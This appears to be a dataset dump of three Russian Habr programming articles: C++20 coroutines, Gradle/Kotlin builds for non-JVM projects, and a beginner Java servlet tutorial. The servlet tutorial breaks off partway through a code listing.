text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Стандарт C++20: обзор новых возможностей C++. Часть 5 «Корутины»
25 февраля автор курса [«Разработчик C++»](https://praktikum.yandex.ru/cpp?utm_source=pr&utm_medium=content&utm_content=31_05_21&utm_campaign=pr_content_cpp_habr) в Яндекс.Практикуме Георгий Осипов рассказал о новом этапе языка C++ — Стандарте C++20. В лекции сделан обзор основных нововведений Стандарта, рассказывается, как их применять уже сейчас и чем они могут быть полезны.
При подготовке вебинара стояла цель сделать обзор всех ключевых возможностей C++20. Поэтому вебинар получился насыщенным. Он растянулся на почти 2,5 часа. Для вашего удобства мы разбили текст на шесть частей:
1. [Модули и краткая история C++.](https://habr.com/ru/company/yandex_praktikum/blog/554874/)
2. [Операция «космический корабль».](https://habr.com/ru/company/yandex_praktikum/blog/555704/)
3. [Концепты.](https://habr.com/ru/company/yandex_praktikum/blog/556816/)
4. [Ranges](https://habr.com/ru/company/yandex_praktikum/blog/557890/).
5. **Корутины.**
6. Другие фичи ядра и стандартной библиотеки. Заключение.
Это пятая часть, кратко рассказывающая о корутинах, или сопрограммах, в современном C++.
В программировании есть два стула — эффективность и красота. И если вы пишете эффективные программы и оптимизированный код, то иногда приходится жертвовать понятностью, читаемостью и, как следствие, надёжностью.
Но существуют решения, позволяющие усидеть на двух стульях.
Мотивация
---------
Очень часто при программировании возникает задача вернуть из функции не один объект, а целый набор. Есть несколько вариантов решения:
1. Можно всё записать в вектор и вернуть его. Но это не очень хорошая идея, потому что тому, кто вызывает функцию, вектор может быть не нужен.
2. Можно вернуть пару итераторов, но тогда кто-то должен этими объектами владеть. Функция уже завершилась, она ими владеть не может, поэтому этот вариант не всегда годится.
3. Можно использовать выходной итератор — так делают стандартные алгоритмы C++, например `copy_if`.
4. Callback — вы передаете функциональный объект. Когда элемент готов, функция его вызывает.
В целом способы неплохи, но минусы есть у каждого — либо это издержки, либо излишние шаблоны. Код становится некрасивым и теряет читаемость. А мы хотим её сохранить, чтобы было с одной стороны красиво и понятно, с другой эффективно, как `callback`; шаблонный callback — это очень эффективно.
Когда в программе происходит обмен данными, всегда есть альтернативы.
1. Активный источник. У него появились данные, он говорит: «держи мои данные, обрабатывай». Тот, кто обрабатывает данные, может только принимать их, но не может запрашивать.
2. Активный потребитель. В этой ситуации обработчик говорит: «мне нужны данные». Источник отвечает: «ОК, вот, держи, сейчас дам всё, что есть».
Совместить эти способы нельзя — либо одно, либо другое.
Ещё один мотивационный пример — программы, выполняющие много операций ввода-вывода. В них эффективность даётся потом и кровью. Типичный пример — веб-сервер. Он вынужден общаться со многими клиентами одновременно, но при этом больше всего он занимается одним — ожиданием. Пока данные будут переданы по сети или получены, он ждёт. Если мы реализуем веб-сервер традиционным образом, то в нём на каждого клиента будет отдельный поток. В нагруженных серверах это будет означать тысячи потоков. Ладно бы все эти потоки занимались делом, но они по большей части приостанавливаются и ждут, нагружая операционную систему по самые помидоры переключением контекстов.
Эффективные серверы, например nginx, так не делают. Вместо ожидания они поручают тому же потоку выполнять другую операцию. Иными словами, логика работы потока такая:
* выполнить активную фазу задачи до ожидания;
* спросить у планировщика, есть ли ещё активные задачи на данный момент;
+ если они есть, начать их делать;
+ только если уже всё сделано — ждать.
Так может оказаться, что одна и та же задача выполняется двумя или более разными потоками: вначале активная фаза выполнена одним потоком, затем задачу подбирает другой поток.
Программировать такую систему очень сложно, и код получается нечитаемым. Поэтому nginx использует нестандартные возможности — в C++17 стандартными средствами подобного не реализовать.
Что у других
------------
В Python **корутины**, или **сопрограммы**, существуют уже давно. Достаточно написать в функции волшебное слово `yield`, и она станет частным случаем корутины — генератором:
```
def csv_reader(file_name):
for row in open(file_name, "r"):
yield row
for line in csv_reader("abc.csv"):
print(line)
```
Тут реализована функция чтения файла по строкам. `yield` очень похож на `return` — он тоже возвращает значение. Но в отличие от `return` не прерывает работу функции. Вернее, прерывает, но не насовсем — лишь на то время, которое необходимо программе, чтобы обработать возвращённое значение. А после того, как значение обработано, и глобальный цикл перешёл к следующей итерации, функция `csv_reader` продолжит работу дальше, с того места, где был `yield`. Есть также возможность передавать данные в обратном направлении — из внешнего цикла в `csv_reader.`
Это совершенно новая концепция: управление возвращается в функцию после того, как ушло из неё. Поработала функция `csv_reader`, потом поработал цикл, потом снова `csv_reader` с того же места, где был сделан `yield`.
Привычная логика, при которой функция, вызывающая другую функцию, ждёт её завершения, нарушается. Две функции работают попеременно. Стек вызовов превращается в дерево вызовов.
```
def csv_reader(file_name):
for row in open(file_name, "r"):
yield row
def line_reader(str):
for c in str:
yield c;
for line in csv_reader("abc.csv"):
for x in line_reader(line):
print(x)
```
В последней строке этого примера на Python работают сразу три функции. Глобальный цикл выполняется, а две корутины ждут, пока управление вернётся к ним.
Пример
------
Не хочу вас разочаровать, но примера не будет. На то есть причина. Дело в том, что корутины реализованы в Стандарте C++20 не полностью. Вернее так: всё, что касается ядра языка, уже сделано. А вот часть стандартной библиотеки комитет доработать не успел и оставил на Стандарт C++23.
Из сложившейся ситуации есть три выхода:
1. Подождать следующего Стандарта.
2. Написать реализацию нужных функций и классов самостоятельно.
3. Использовать готовую библиотеку для корутин. Они уже существуют. Например, Folly или cppcoro.
Найти пример и попробовать корутины уже можно. Удивительный код, в котором выполнение функции начинается в одном thread, а заканчивается в другом, есть [в cppreference](https://en.cppreference.com/w/cpp/language/coroutines#Example).
Немного теории
--------------
На этом рассказ о корутинах в вебинаре заканчивался. Но учитывая живой интерес к предыдущим частям на Хабре, я решил слегка расширить его и даже добавить пример. Но прежде немного теории.
Если вы не хотите бежать впереди паровоза и реализовывать логику корутин вручную, не дожидаясь, пока это сделает комитет в C++23, то возможно, эти знания вам никогда в жизни не понадобятся. Но в сложных случаях, а также при борьбе с ошибками хотя бы примерное знание устройства корутин может сэкономить вам много времени.
Итак, корутиной становится функция, содержащая одно из трёх ключевых `co_`-слов:
* `co_await` — для прерывания функции и последующего продолжения;
* `co_yield` — для прерывания функции с одновременным возвратом результата. Это синтаксический сахар для конструкции с `co_await`;
* `co_return` — для завершения работы функции.
Вся магия заключается в типе возвращаемого значения — это Proxy-класс, описывающий поведение корутины. Его нужно написать явно: использовать `auto` для типа возврата нельзя. Также корутина не может иметь [ellipsis](https://en.cppreference.com/w/cpp/language/variadic_arguments) в списке аргументов и `return` нигде внутри себя: все возвращения — только через `co_yield` и `co_return`.
Вызывается корутина как функция, возвращающая некоторый объект произвольного типа `T`. С точки того, кто её вызвал, она и выглядит как обычная функция. Всё взаимодействие осуществляется через тот объект, который она вернула при запуске.
Например, если корутина — генератор значений, то в типе `T` можно определить метод `GetNextValue()`, который будет возобновлять корутину до получения следующей порции данных. Либо можно определить в `T` методы `begin` и `end`, чтобы на лету итерироваться по значениям, выдаваемым корутиной, обычным циклом `for` по диапазону.
Сам класс `T`, который вы указали как тип возврата при написании корутины, отдаёт команды через объект класса `std::coroutine_handle`, определённого в . Например, у него есть метод `resume`, возобновляющий приостановленную корутину, и метод `destroy`, окончательно завершающий её выполнение. Корутина должна быть готова к уничтожению через `destroy`: однажды уснув, она может и не проснуться. При этом все её локальные переменные будут корректно деаллоцированы.
Пользователь, вызвавший корутину, не обязан знать, что на самом деле эта функция не завершилась и периодически возобновляет работу. Отсюда возникает опасность утечки памяти: вызывающая функция может закончить работу, не прогнав полностью всю корутину и не уничтожив её. Тогда все локальные переменные ~~навечно~~ до завершения процесса останутся в памяти ждать возобновления корутины.
Сейчас может возникнуть вопрос: откуда возьмётся объект типа `T`, если корутина только начинает работу и ещё ничего не вернула? И главное: откуда у него возьмётся `coroutine_handle`? Ответы на эти эти вопросы ниже, потерпите немного.
Добавлю пару слов о сердце корутины — типе возвращаемого значения, в котором описывается вся магия прерывания, возобновления и передачи значений через `co_yield`. Тип корутины `T` довольно произвольный, но одна деталь в нём присутствовать обязана — вложенная структура `T::promise_type`. Её объект будет сконструирован первым делом при запуске. `promise_type` определяет поведение корутины и может иметь следующие методы:
* `??? initial_suspend()` — определяет поведение корутины при её вызове. Типичная корутина возвращает `std::suspend_never`, определённый в , если она должна стартовать сразу при вызове, либо `std::suspend_always`, если это ленивое вычисление и приостановка работы происходит сразу;
* `??? final_suspend()` — аналогично определяет поведение корутины при завершении;
* `T get_return_object()` — тут конструируется объект типа `T` — главное возвращаемое значение. Какой конструктор использовать — дело того, кто разрабатывает этот метод. В частности, можно передать `coroutine_handler` в конструктор, вызвав статический метод `std::coroutine_handle::from\_promise`, принимающий на вход объект типа `promise_type`;
* `??? yield_value(??? value)` — метод, который вызывается при возврате из корутины через `co_yield`. Если вы не вызываете `co_yield`, то реализовывать его не обязательно. Он может возвращать `std::suspend_always`, чтобы корутина приостанавливалась для обработки значения одновременно с возвратом. За сохранение и передачу `value` полностью отвечает `T` и `promise_type`, никакой магии тут нет. Типичный способ — сделать `move` во внутреннюю переменную;
* `??? return_value(??? value)` — метод, который вызывается при возврате из корутины через `co_return`. Если вы не вызываете `co_return`, то реализовывать его не обязательно;
* `??? await_transform(??? value)` — метод, вызываемый при `co_await`. На вход ему подаётся значение выражения стоящего после `co_await`, а на выходе — `std::suspend_always` или другой awaitable-объект;
* `??? await_resume()` — этот метод вызывается при возобновлении работы после `co_await` или `co_yeild`. Он может возвращать `void` или другое значение, которое становится значением выражения `co_await ???`;
* `static void unhandled_exception()` — поведение при необработанном исключении в корутине.
Быстрее понять устройство корутин можно на примере:
```
#include
#include
#include
template
class Lazy {
public:
// Объект типа promise\_type создаётся первым делом при запуске корутины.
// Он содержит обработчики всевозможных событий корутины.
struct promise\_type {
// Этот метод вызывается в начале работы корутины.
// Он конструирует «традиционное» возвращаемое значение —
// то, что сразу же получает функция, вызвавшая корутину.
Lazy get\_return\_object() {
return Lazy{std::coroutine\_handle::from\_promise(\*this)};
}
// Этот метод вызывается при старте корутины. Он определяет,
// будет ли она выполняться сразу, или начнёт с приостановки.
// std::suspend\_always означает приостановку
static std::suspend\_always initial\_suspend() noexcept { return {}; }
// Этот метод вызывается при завершении корутины.
static std::suspend\_always final\_suspend() noexcept { return {}; }
// Это обработчик события co\_return. Ему передаётся то, что
// корутина хочет вернуть.
std::suspend\_never return\_value(T value) noexcept {
current\_value = std::move(value);
return {};
}
// Обработчик исключений также обязательно реализовывать.
[[noreturn]]
static void unhandled\_exception() {
throw;
}
// Сюда будем сохранять возвращённые значения.
// Можем добавить любые поля по своему желанию.
std::optional current\_value;
};
// Объект будет конструировать promise\_type в методе get\_return\_object.
// Опишем все конструкторы.
explicit Lazy(const std::coroutine\_handle coroutine) :
m\_coroutine{coroutine} {
}
Lazy(Lazy&& other) noexcept :
m\_coroutine{std::exchange(other.m\_coroutine, {})}
{
}
Lazy(const Lazy&) = delete;
Lazy& operator=(const Lazy&) = delete;
// В деструкторе нужно не забыть жёстко прервать корутину, чтобы
// предотвратить утечку памяти, если значение осталось невостребованным.
~Lazy() {
if (m\_coroutine) {
m\_coroutine.destroy();
}
}
// Этот метод мы добавили для того, чтобы получить значение из корутины.
T get\_value() {
// Если значения нет, дадим корутине команду поработать
if (!m\_coroutine.promise().current\_value)
m\_coroutine.resume();
return std::move(\*m\_coroutine.promise().current\_value);
}
private:
// Хендлер, который нам дал promise\_type при конструировании
std::coroutine\_handle m\_coroutine;
};
template
Lazy lazy\_sum(T x, T y) {
std::cout << "[sum performed]" << std::flush;
co\_return x + y;
}
int main() {
// Запускаем корутину, но она сразу же
// приостанавливается и ничего не суммирует
Lazy x = lazy\_sum(42, 58);
// Вызов get\_value() отдаёт команду возобновления
std::cout << "Computed sum: " << x.get\_value() << std::endl;
// Вывод: Computed sum: [sum performed]100
}
```
Пример носит иллюстративный характер — для такой задачи использовать корутину совсем не обязательно. Того же эффекта можно было добиться лямбда-функцией. Более содержательный пример можно найти на [cppreference](https://en.cppreference.com/w/cpp/coroutine/coroutine_handle).
Логика выполнения корутин полностью отличается от логики работы обычных функций. Например, потому что автоматические переменные корутины не всегда можно разместить в стеке: одна корутина может завершиться до другой, запущенной позже. Тем самым нарушается правило FIFO. Поэтому при запуске корутины создаётся специальный объект для хранения её переменных. Компилятор будет стараться разместить его в стеке, ну а если не получится, то придётся прибегнуть к динамической памяти.
Заключение
----------
На этом краткий обзор корутин окончен. Более подробно об их применении можно узнать из [доклада Антона Полухина](https://youtu.be/xkshva7DKfQ?t=1112).
Во время вебинара мы спросили у аудитории, нравится ли эта функция. Результаты опроса:
* Суперфича — 16 (34,04%)
* Так себе фича — 7 (14,89%)
* Пока неясно — 25 (53,19%)
Мнения разошлись, но большинство слушателей пока не готовы к корутинам. Я бы тоже повременил с их использованием, по крайней мере до выхода C++23.
Читателям Хабра, как и слушателям вебинара, дадим возможность оценить нововведения. | https://habr.com/ru/post/559642/ | null | ru | null |
# Сборка (CI/CD) не-JVM проектов с использованием gradle/kotlin
В некоторых проектах сборке отводится роль Золушки. Основные усилия команда сосредоточивает на разработке кода. А самой сборкой могут заниматься люди, далёкие от разработки (например, отвечающие за эксплуатацию, либо за развёртывание). Если сборка хоть как-то работает, то её предпочитают не трогать, и речь об оптимизации не заходит. Вместе с тем в больших гетерогенных проектах сборка оказывается достаточно сложной и к ней вполне можно подходить как к самостоятельному проекту. Если же относиться к сборке как к второстепенному проекту, то в результате будет получен неудобоваримый императивный скрипт, поддержка которого будет в значительной степени затруднена.
В [предыдущей заметке](https://habr.com/ru/post/550658/) мы рассмотрели, по каким критериям мы выбирали инструментарий, и почему остановились на gradle/kotlin, а в этой заметке рассмотрим, каким образом используем gradle/kotlin для автоматизации сборки не-JVM проектов. (Есть также [перевод на английский](https://habr.com/ru/post/550656/).)
[](https://opensource.com/article/19/7/cicd-pipeline-rule-them-all)
Введение
--------
Gradle для JVM-проектов является общепризнанным инструментом и не нуждается в дополнительных рекомендациях. Для проектов за пределами JVM он также используется. Например, в официальной документации описаны сценарии использования для C++ и Swift проектов. Мы используем gradle для автоматизации сборки, тестирования и развёртывания гетерогенного проекта, включающего модули на node.js, go, terraform.
Использование git submodule для организации интеграционной сборки
-----------------------------------------------------------------
Каждый модуль большого проекта разрабатывается отдельной командой в своём репозитории. В то же время, хотелось бы работать с большим проектом как с одной целостной системой:
* предоставлять единые настройки для проектов,
* осуществлять интеграционное тестирование,
* выполнять развёртывание в различных конфигурациях,
* выпускать согласованные релизы,
* и т.д.
Достаточно удобно подключить репозитории проектов в один репозиторий с помощью git submodule. При этом мы имеем возможность работать с одной сквозной версией всех подпроектов. Каждый из подпроектов будет зафиксирован на одном коммите. В случае реализации функциональности, затрагивающей несколько подпроектов, мы можем создать ветку в проекте верхнего уровня и для каждого подпроекта указать подветку, которую следует использовать. Тем самым появляется возможность согласованной разработки и тестирования именно этой новой функциональности без интерференции со стороны других функциональных возможностей.
При развёртывании используется имя ветки проекта верхнего уровня для идентификации ресурсов, относящихся к этой ветке. Такая схема идентификации позволяет непосредственно перед удалением ветки автоматически удалить все связанные ресурсы.
Краткий обзор, как работает gradle
----------------------------------
**Фаза инициализации.** Gradle вначале ищет `settings.gradle.kts`, компилирует и исполняет его, чтобы выяснить, какие подпроекты и где расположены. Компиляция здесь и в других точках — только по мере необходимости, если файл и зависимости не менялись, то будет использована последняя скомпилированная версия.
**Фаза конфигурации.** Затем для всех проектов находятся скрипты сборки и тоже компилируются (по мере необходимости) и исполняются (только те проекты, которые нужны для целевой задачи).
Основной моделью представления системы сборки является направленный граф без циклов (DAG). Узлами графа служат задачи, между которыми устанавливаются зависимости. Частично зависимости выводятся gradle-ом с использованием свойств задач (подробнее — ниже). Граф задач в целом очень похож на структуру, используемую в make.
**Фаза исполнения.** По построенному частичному графу зависимостей между задачами определяется подграф, который необходим для достижения целей текущей целевой задачи. Для задач проверяется выполнение условия up-to-date, то есть, надо ли выполнять задачу или нет. И потом выполняются только те задачи, которые нужны.
Код сборки на основе только лишь графа задач представляет собой трудно поддерживаемый императивный скрипт. Для того, чтобы упорядочить аналогичные наборы задач, относящиеся к разным модулям, в gradle имеются понятия проектов и плагинов. Проектом называется модуль, представляющий часть исходного кода большого проекта, а плагином — повторно используемый набор взаимосвязанных задач, которые инстанцируются для конкретного проекта. Похожие понятия используются и в maven.
### DSL (domain-specific language)
Gradle использует гибкий подход к организации скрипта сборки на основе идеи встроенного специализированного языка. В основной язык (groovy или kotlin) добавляются функции, объекты и классы, спроектированные специальным образом, чтобы при их использовании получались легко воспринимаемые скрипты, похожие на декларативное описание проекта. То есть, несмотря на то, что скрипт сборки представляет собой императивную программу, он может выглядеть как декларативное описание конфигурации плагинов и структуры проекта.
В этом подходе кроется как сила/удобство gradle, так и уязвимость к чрезмерному использованию императивных возможностей. На данный момент выглядит так, что единственное средство — самодисциплина.
Общие соображения, как лучше использовать gradle/kotlin
-------------------------------------------------------
### Встроенный проект `buildSrc`
Настройка сборки проекта в основном делается в скриптах `build.gradle.kts`. Среди прочего эти скрипты позволяют создавать ad-hoc задачи и выполнять произвольный код. Если не соблюдать самодисциплину и не следовать рекомендациям, то скрипт сборки быстро превращается в макаронный код. Поэтому создание тасков и использование исполняемого кода внутри скрипта сборки следует считать исключением и временной мерой, и помнить, что поддержка проекта сборки с императивной логикой в скриптах сборки крайне затруднительна.
Основным местом для императивной логики и пользовательских задач следует считать вспомогательный проект `buildSrc`. Этот проект компилируется автоматически и добавляется в зависимости скрипта сборки. Так что всё, что в нём объявлено, будет доступно для использования в скриптах.
В самом скрипте сборки остаются объявления плагинов, их конфигурации и настройки проекта.
Проект `buildSrc` является совершенно обыкновенным JVM-проектом. В нём располагается обычный код, можно добавлять ресурсы, писать тесты, реализовывать сложные сценарии сборки. (При этом получается что-то вроде "рекурсивной сборки".) Основным результатом сборки этого вспомогательного проекта являются классы, которые будут автоматически добавлены в `classpath` всех проектов. То есть если объявить плагин в `buildSrc`, то без всяких дополнительных настроек этот плагин можно будет использовать во всех проектах и подпроектах.
Следует также отметить, что `buildSrc` не содержит скриптов, которые будут выполняться в фазе конфигурации. То есть, если нужно создать какие-то задачи, необходимо вызвать код. Либо прямым вызовом какой-либо функции, либо применением плагина (будет вызван метод `apply(Project)`).
### Плагины
Для разных типов проектов (go, node.js, terraform) имеет смысл создавать плагины. Имеющиеся плагины (например, kosogor для terraform'а) можно использовать, но некоторых возможностей может не хватить.
Плагин можно делать в `buildSrc`, либо в качестве отдельных проектов для повторного использования. Если используются отдельные проекты, то либо надо подключать эти проекты в качестве [included build](https://docs.gradle.org/current/userguide/composite_builds.html), либо публиковать артефакты в развёрнутом репозитории (Artifactory, Nexus).
Плагин можно рассмотреть как совокупность следующих элементов:
* декларативная конфигурация;
* скрипт/процедура создания задач на основе конфигурации;
* возможность однократного подключения к отдельному проекту и
настройки подключенного экземпляра;
Простой плагин может выглядеть так:
```
open class MyPluginExtension(objects: ObjectFactory) {
val name: Property = objects.property(String::class.java)
val message: Property = objects.property(String::class.java)
init {
name.convention("World")
message.convention(name.map{"Hello " + it})
}
}
class MyPlugin: Plugin {
override fun apply(target: Project) {
val ext = target.extensions.create("helloExt", MyPluginExtension::class.java)
target.tasks.register("hello-name"){
it.doLast{
println(ext.message.get())
}
}
}
}
```
Некоторым неудобством плагинов является необходимость создания задач и расширения (объекта конфигурации) в момент применения плагина. Только после этого появляется возможность конфигурирования плагина. Такой порядок работы не очень удобен, т.к. в момент создания задач конфигурация ещё отсутствует. Поэтому приходится использовать более сложный механизм свойств и провайдеров. Они позволяют оперировать с будущими значениями, которые окажутся доступны только в фазе исполнения. (См. ниже подробнее про свойства.) При этом важно не пытаться использовать значения свойств на этапе конфигурирования, т.к. они будут иметь значения по умолчанию (`convention`).
### Пользовательский DSL
Кроме собственно плагинов, похожего результата можно достичь просто вызывая заранее написанные функции, создающие задачи.
В качестве примера можно посмотреть, как в [библиотеке kosogor](https://github.com/TanVD/kosogor/tree/master/kosogor-terraform) сделано добавление задач с помощью DSL.
```
terraform {
config {
tfVersion = "0.11.11"
}
root("example", File(projectDir, "terraform"))
}
```
Внешняя функция `terraform` выглядит как extension для типа `Project`:
```
@TerraformDSLTag
fun Project.terraform(configure: TerraformDsl.() -> Unit) {
terraformDsl.project = this
terraformDsl.configure()
}
```
То есть код, который напишет пользователь внутри `{}` будет выполнен на объекте типа `TerraformDsl`. Например, [`метод root`](https://github.com/TanVD/kosogor/blob/master/kosogor-terraform/src/main/kotlin/tanvd/kosogor/terraform/TerraformDsl.kt#L131) создаёт задачи с использованием конфигурации и переданного в метод имени:
```
@TerraformDSLTag
fun root(name: String, dir: File, enableDestroy: Boolean = false, targets: LinkedHashSet = LinkedHashSet(), workspace: String? = null) {
val lint = project!!.tasks.create("$name.lint", LintRootTask::class.java) { task ->
task.group = "terraform.$name"
task.description = "Lint root $name"
task.root = dir
}
// ...
}
```
Использование в Kotlin методов, принимающих последним параметром функции вида `Type.()->Unit`, позволяет сделать DSL, который выглядит достаточно элегантно и удобно. В чём-то это предоставляет больше гибкости и удобства, чем плагины. Например, в момент работы метода `root` предшествующий метод `config` уже завершён и все конфигурационные параметры доступны напрямую. Правда, при этом теряются возможности, предоставляемые свойствами (см. ниже).
Tips&tricks
-----------
### Почему важно добиваться инкрементности билда
Сборка проекта может запускаться сотни раз в день. Если при этом билд-скрипт делает лишнюю работу, то это может выливаться в заметные потери времени. В запущенных случаях, если, например, сборка занимает 10-30 минут, работа существенно затрудняется и может вызывать раздражение. Если сборка выполняется в облаке и производит развёртывание в нескольких конфигурациях, то длительная работа скрипта может приводить и к повышению расходов.
Свойство "инкрементности" не появляется само по себе. Инкрементным билд становится в том случае, если все задачи поддерживают это свойство. В идеальном случае повторный запуск последней команды gradle должен происходить за доли секунды, т.к. все задачи будут пропущены.
### Автоматические зависимости на основе свойств и файлов
Если задача Б зависит от результата задачи А, то можно так сконфигурировать эти задачи, что gradle догадается, что надо выполнить задачу А, даже без явного указания зависимости.
Для этого в gradle предусмотрен целый механизм properties и providers (в других языках/системах похожим образом можно использовать монады). (Механизм, в целом похож на "настройки" в sbt.) На этапе конфигурирования некоторые значения должны быть спрятаны внутрь провайдеров. Если одно значение вычисляется (или в частном случае равно) на основе другого значения, то у провайдера источника вызывается `.map` или `.flatMap` и внутри лямбды можно оперировать будущим значением. При этом будет создан "провайдер", который вычислит значение выражения по требованию в фазе исполнения.
Пример
```
class TaskA: DefaultTask() {
@OutputFile
val result = project.objects.fileProperty()
init {
result.convention(project.buildDir.file("result.txt"))
}
}
class TaskB: DefaultTask() {
@InputFile
val input = project.objects.fileProperty()
@Action
fun taskB() {
println(input.get().asFile.absolutePath)
}
}
```
В скрипте зависимость между этими задачами можно не объявлять явно, при условии, что связаны свойства:
```
val taskA = tasks.register("taskA") {
output.set(file("other.txt"))
}
tasks.register("taskB") {
input.set(taskA.result)
}
```
Теперь, при вызове taskB будет проверяться актуальность задачи А и, в случае необходимости, выполняться.
### Использование файлов в качестве сигналов, которые переживают вызовы
При выполнении операций, которые только производят побочные эффекты (например, развёртывание в облако), и не отражаются естественным образом в файловой системе, gradle не может проверить, надо ли выполнять задачу или не надо. В результате соответствующая задача будет выполняться всякий раз.
Чтобы помочь gradle-у, можно по окончании выполнения задачи создавать файл `taskB.done`, и указать, что этот файл является выходным для задачи. В этом файле желательно отразить в сжатом виде описание того, в каком состоянии находится облачная конфигурация. Можно, например, указать sha развёрнутой конфигурации или просто текстом — развёрнутые компоненты и их версии.
Если несколько задач меняют общее облачное состояние, то в этом случае полезно это состояние представлять в виде одного или нескольких файлов, общих для этих задач (`cloud.state`). Каждая задача, меняющая состояние в облаке, также приведёт к изменению локальных файлов. Тем самым gradle будет понимать, какие задачи могут потребовать перезапуска.
### Перезапуск локального сервиса, только если изменился исполняемый файл
Пусть у нас есть задача сборки, которая производит исполняемый файл
```
class BuildNative(objects: ObjectFactory): DefaultTask() {
@OutputFile
val nativeBinary: FileProperty = objects.fileProperty()
init {
nativeBinary.convention("binary")
}
@TaskAction
fun build() {
// ...
}
}
```
Запуск сервиса производится созданием процесса с именем этого исполняемого файла.
```
open class StartService(objects: ObjectFactory): DefaultTask() {
@InputFile
val nativeBinary: FileProperty = objects.fileProperty()
@OutputFile
val pidFile: FileProperty = objects.fileProperty()
init {
nativeBinary.convention("binary")
pidFile.convention("binary.pid")
}
@TaskAction
fun start() {
pidFile.get().asFile.writeText(
Process(nativeBinary.get().asFile.absolutePath).start()
)// несколько упрощённо
}
}
```
Теперь мы можем объявить задачу перезапуска, которая не будет выполняться, если исполняемый файл не изменился
```
class ServiceStarted(objects: ObjectFactory): StartService(objects) {
@TaskAction
fun restartIfNeeded() {
if(pidFile.get().asFile.exists()) {
kill(pidFile.get().asFile.readText())
}
start()
}
}
```
Такая цепочка задач удобна для локальной отладки сервисов. При изменении любой строчки в любом из сервисов, только он будет пересобран и перезапущен.
### Централизованное задание номеров портов
Для тестирования может потребоваться запуск конфигураций с различным составом сервисов. Сервисы зависят друг от друга. В паре сервисов порт взаимодействия необходимо указать дважды — в самом сервисе и в клиенте этого сервиса. Ясно, что согласно принципу единственной версии правды (SVOT/SSOT), порт должен быть указан в одной точке, а в остальных местах следует ссылаться на этот доверенный источник. Единая конфигурация сервиса должна быть доступна и для самого сервиса и для клиента.
Рассмотрим пример, как это можно сделать в gradle.
```
data class ServiceAConfig(val port: Int, val path: String) {
fun localUrl(): URL = URL("http://localhost:$port/$path")
}
```
В главном скрипте `build.gradle.kts` мы создаём конфигурацию и помещаем её в `extra`:
```
val serviceAConfig: ServiceAConfig by extra(ServiceAConfig(8080, "serviceA/test"))
```
А в других скриптах мы можем получить доступ к этой конфигурации, объявленной в `rootProject`'е:
```
val serviceAConfig: ServiceAConfig by rootProject.extra
```
Таким образом обеспечивается возможность связывания сервисов и централизации конфигурации.
### Непрошенные советы
1. **Прочитайте документацию**. Документация gradle может служить образцом для подражания в других проектах.
2. **Поймите модель gradle**. Множество вопросов отпадёт само по себе, если разобраться с базовой моделью gradle.
3. **Используйте buildSrc**. При сборке проектов зачастую требуется добавить отдельные вспомогательные задачи. Помещайте такие задачи в `buildSrc`. Также можно создавать самостоятельные проекты с плагинами, что позволит использовать их в других проектах.
4. **Добивайтесь инкрементности каждой задачи**. В этом случае изменение любой строчки кода
приведёт к выполнению только строго необходимых задач. Сборка будет происходить
максимально быстро.
5. **Делитесь знаниями**. Многие вещи в gradle и в kotlin могут оказаться непривычными для людей, не имевших опыта работы с ними, то есть существует определённый порог входа. Внесение изменений вслепую, без понимания принципов работы системы сборки, весьма затруднительно, и вряд ли приведёт к хорошему результату.
Заключение
----------
В этом посте мы рассмотрели некоторые особенности инструментария сборки проекта и CI/CD на основе gradle/kotlin. Gradle оказывается достаточно удобен и для сборки не-JVM-проектов. При этом сохраняются почти все преимущества — модульность, скорость работы, защита от ошибок. Если соблюдать самодисциплину и разрабатывать проект сборки с учётом общих принципов инженерии, то gradle позволяет получить гибкую систему, которую достаточно легко поддерживать.
### Благодарности
Хотелось бы поблагодарить [nolequen](https://habr.com/ru/users/nolequen/), [Starcounter](https://habr.com/ru/users/starcounter/), [tovarischzhukov](https://habr.com/ru/users/tovarischzhukov/) за конструктивную критику черновика статьи. | https://habr.com/ru/post/550654/ | null | ru | null |
# Создание сервлетов для чайников. Пошаговое руководство
Когда начинающий разработчик сталкивается с сервлетами, ему бывает очень сложно понять, как он работает и от чего зависит эта работа. Всё потому, что все примеры и видеоуроки рассчитаны на людей, понимающих природу сервлетов и что за чем следует. Поэтому я решил написать руководство по созданию самых простых сервлетов. Возможно, эта статья кому-нибудь поможет.
Итак.
Предположим, что Вы уже где-то скачали пример с применением maven и Вам удалось задеплоить Ваш код на Tomcat (с этого обычно начинается познание сервлетов) любым способом (WAR-архивом или прямо из среды разработки). Вы имеете структуру приложения, в которой присутствует файл web.xml. C него и надо начинать создание страниц.
Первое и самое важное: машина не видит прямой связи между куском адресной строки и одноимённой страницей в Вашем проекте. [localhost](http://localhost):8080/имя\_WAR**/test** и test.jsp — не одно и то же. /test — это «url-метка» сервлета. По которой машина находит нужный Java-файл и тот уже указывает на test.jsp.
Путь от чтения кода машиной и до отображения страницы в браузере выглядит так:
> webapp/WEB-INF/web.xml -> servlet
>
> ---> ru.user.project/web/ClassName -> request
>
> ---> page.jsp
Да, пока ничего не понятно, но мы ещё вернёмся к этой схеме. Если описать её простыми человеческими словами, то это будет выглядеть так:
> Из файла web.xml через сервлет машина получает путь к Java-классу, который, в свою очередь, направляет машину на искомую страницу.
Это было лирическое отступление, переходим к коду.
Итак, мы имеем задеплоенный на Tomcat проект, главная страница которого открывается по вызову [localhost](http://localhost):8080/имя\_WAR (если мы деплоили WAR-файл).
Открываем web.xml. Этот файл сканируется Tomcat'ом в первую очередь. Здесь мы и зададим начало пути. Вот код нашего web.xml:
```
Test
testServlet
ru.user.project.web.TestServlet
testServlet
/test
```
Сервлет связывает ссылку из адресной строки и Java-класс. Java-класс, в нашем случае, открывает JSP-страницу. Сервлет состоит из 2 составляющих:
```
//здесь прописан путь к Java-классу
testServlet
ru.user.project.web.TestServlet
//здесь прописан путь к куску адресной строки, вызывающей сервлет
testServlet
/test
```
Прописываем . По этому пути хранится Java-класс, который обработается при вызове адресной строки. Потом дописываем . Это кусок адреса из адресной строки, привязанный к сервлету. Когда мы допишем к нашей первоначальной строке /test, начнётся магия. Но пока мы ещё не дописали остальную часть кода. Пишем Java-файл. Он у нас находится по адресу ru.user.project.web (для этого нужно создать папку web, если её нет).
```
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
/**
* Created by promoscow on 17.07.17.
*/
public class TestServlet extends HttpServlet {
@Override
